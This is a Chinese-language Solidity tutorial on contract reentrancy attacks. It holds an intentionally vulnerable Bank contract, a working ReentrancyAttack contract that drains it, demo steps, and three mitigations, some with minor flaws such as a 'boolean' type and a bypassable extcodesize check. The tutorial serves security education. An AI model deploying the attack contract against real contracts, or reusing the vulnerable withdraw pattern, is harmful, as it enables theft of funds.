当前位置:网站首页>[100 Solidity Skills] 1. Contract reentrancy attack
[100 Solidity Skills] 1. Contract reentrancy attack
2022-07-30 10:15:00 【33357】
原文发布在 https://github.com/33357/smartcontract-apps 这是一个面向中文社区,分析市面上智能合约应用的架构与实现的仓库.欢迎关注开源知识项目!
合约重入攻击
原理分析
合约重入攻击,是指在同一交易中对业务合约进行多次调用,从而实现对合约的攻击.
- 合约重入
如果业务合约的公开方法中,有提现 Ether 或者调用第三方合约的操作,那么就可以对合约方法的进行二次以及多次调用,从而实现合约重入.
- 重入攻击
大多数情况下,重入攻击利用了业务合约先提现 Ether 或者调用第三方合约,然后修改合约状态的漏洞,从而实现重入攻击.
流程图示
- 合约重入
- 重入攻击
示例代码
这是一个简单的 Bank 合约示例,它的功能是存入和提现 Ether.如果你看不出合约的问题,说明你正需要学习这节课.(这个合约有巨大漏洞,请不要直接使用在任何实际业务中)
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.12;
interface IBank {
function deposit() external payable;
function withdraw() external;
}
contract Bank {
mapping(address => uint256) public balance;
uint256 public totalDeposit;
function ethBalance() external view returns (uint256) {
return address(this).balance;
}
function deposit() external payable {
balance[msg.sender] += msg.value;
totalDeposit += msg.value;
}
function withdraw() external {
require(balance[msg.sender] > 0, "Bank: no balance");
msg.sender.call{
value: balance[msg.sender]}("");
totalDeposit -= balance[msg.sender];
balance[msg.sender] = 0;
}
}
contract ReentrancyAttack {
IBank bank;
constructor(address _bank) {
bank = IBank(_bank);
}
function doDeposit() external payable {
bank.deposit{
value: msg.value}();
}
function doWithdraw() external {
bank.withdraw();
payable(msg.sender).transfer(address(this).balance);
}
receive() external payable {
bank.withdraw();
}
}
演示流程
选择 solidity 版本为 0.8.12,部署 Bank 合约.
将 Bank 合约地址作为参数部署 ReentrancyAttack 合约.
value 选择 1 Ether,点击 Bank 合约的 deposit 方法,存入 1 Ether.
value 选择 1 Ether,点击 ReentrancyAttack 合约的 doDeposit 方法,存入 1 Ether.
点击 Bank 合约的 totalDeposit 方法,是 2 Ether,点击 Bank 合约的 ethBalance 方法,也是 2 Ether.
点击 ReentrancyAttack 合约的 doWithdraw 方法,进行重入攻击.
点击 Bank 合约的 totalDeposit 方法,是 1 Ether,点击 Bank 合约的 ethBalance 方法,却是 0 Ether.
使用 Bank 合约的 balance 方法查看 ReentrancyAttack 合约地址和合约创建者,发现合约创建者 balance 为 1 Ether,但是合约里已经没有 Ether 可以提供兑付.
修复问题
- 禁止重入
boolean public entered;
modifier nonReentrant() {
require(!entered, "Bank: reentrant call");
entered = true;
_;
entered = false;
}
function withdraw() nonReentrant external {
require(balance[msg.sender] > 0, "Bank: no balance");
msg.sender.call{
value: balance[msg.sender]}("");
totalDeposit -= balance[msg.sender];
balance[msg.sender] = 0;
}
使用 nonReentrant 来禁止合约重入,可以防止重入攻击.这里推荐使用 openzeppelin 的官方防重入合约 @openzeppelin/contracts/security/ReentrancyGuard.sol.
- 在提现 Ether 或者调用第三方合约之前,先修改合约状态
function withdraw() external {
require(balance[msg.sender] > 0, "Bank: no balance");
uint256 _balance = balance[msg.sender];
totalDeposit -= balance[msg.sender];
balance[msg.sender] = 0;
msg.sender.call{
value: _balance}("");
}
优先修改合约状态,虽然不能禁止合约重入,但可以避免被重入攻击.
- 禁止转账 Ether 到合约地址
function withdraw() nonReentrant external {
require(balance[msg.sender] > 0, "Bank: no balance");
uint256 size;
address sender = msg.sender;
assembly {
size := extcodesize(sender)
}
require(size == 0, "Bank: cannot transfer to contract");
msg.sender.call{
value: balance[msg.sender]}("");
totalDeposit -= balance[msg.sender];
balance[msg.sender] = 0;
}
禁止转账 Ether 到合约地址,可以防止转账 Ether 导致的合约重入.
边栏推荐
- 大根堆的创建(视频讲解)
- 自适应控制——仿真实验一 用李雅普诺夫稳定性理论设计自适应规律
- Always remember: one day you will emerge from the chrysalis
- 软考 系统架构设计师 简明教程 | 系统运行与软件维护
- Re18: Read the paper GCI Everything Has a Cause: Leveraging Causal Inference in Legal Text Analysis
- 百度推广助手遇到重复关键字,验证错误,怎么一键删除多余的
- 一个近乎完美的 Unity 全平台热更方案
- Flask之路由(app.route)详解
- 在机器人行业的专业人士眼里,机器人行业目前的情况如何?
- Js array operating mobile for encapsulation
猜你喜欢
随机推荐
Multithreading--the usage of threads and thread pools
在机器人行业的专业人士眼里,机器人行业目前的情况如何?
PyQt5-用像素点绘制正弦曲线
leetcode 剑指 Offer 58 - I. 翻转单词顺序
Re19: Read the paper Paragraph-level Rationale Extraction through Regularization: A case study on European Court
flowable workflow all business concepts
软考 系统架构设计师 简明教程 | 系统运行与软件维护
OC-关于alloc和dealloc(还没开始写)
百度推广助手遇到重复关键字,验证错误,怎么一键删除多余的
ESP32 入门篇(一)使用 VS Code 进行开发环境安装
容器技术 -- 简单了解 Kubernetes 的对象
Re17:读论文 Challenges for Information Extraction from Dialogue in Criminal Law
Meikle Studio-Look at the actual combat notes of Hongmeng device development six-wireless networking development
多线程保证单个线程开启事务并生效的方案
Array of Shell System Learning
新一代开源免费的终端工具,太酷了
GNOME 新功能:安全启动被禁用时警告用户
柱状图 直方图 条形图 的区别
[100个Solidity使用技巧]1、合约重入攻击
Js array operating mobile for encapsulation








